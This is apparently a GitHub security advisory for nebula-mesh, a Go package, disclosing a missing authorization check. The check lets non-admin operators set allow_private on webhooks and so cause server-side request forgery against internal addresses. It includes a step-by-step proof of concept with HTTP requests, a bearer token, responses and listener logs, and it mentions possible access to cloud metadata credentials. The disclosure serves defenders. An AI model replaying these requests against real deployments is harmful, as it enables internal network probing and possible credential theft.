Skip to content

Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`

High severity GitHub Reviewed Published Jul 1, 2026 in forgekeep/nebula-mesh • Updated Jul 14, 2026

Package

gomod github.com/forgekeep/nebula-mesh (Go)

Affected versions

>= 0.6.0, <= 0.7.1

Patched versions

0.7.2

Description

Summary

Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.

Details

internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.

internal/webhook/webhook.go:294-296:

client := d.guarded
if tgt.AllowPrivate {
    client = d.unguarded
}

d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.

Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).

PoC

Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.

Step 1 — create-side bypass, as the non-admin lowpriv operator:

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}

Actual response:

HTTP/1.1 201 Created

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}

201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.

Control — same non-admin key, same target, allow_private omitted (defaults false):

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request

{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}

Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.

Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:

POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:

RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}

Same result holds for host.enrolled — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.

Step 3 — reachability oracle:

GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
HTTP/1.1 200 OK

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...}

last_status/last_error confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.

Impact

A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).

References

@juev juev published to forgekeep/nebula-mesh Jul 1, 2026
Published to the GitHub Advisory Database Jul 14, 2026
Reviewed Jul 14, 2026
Last updated Jul 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-7rx3-5wx3-5v76

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.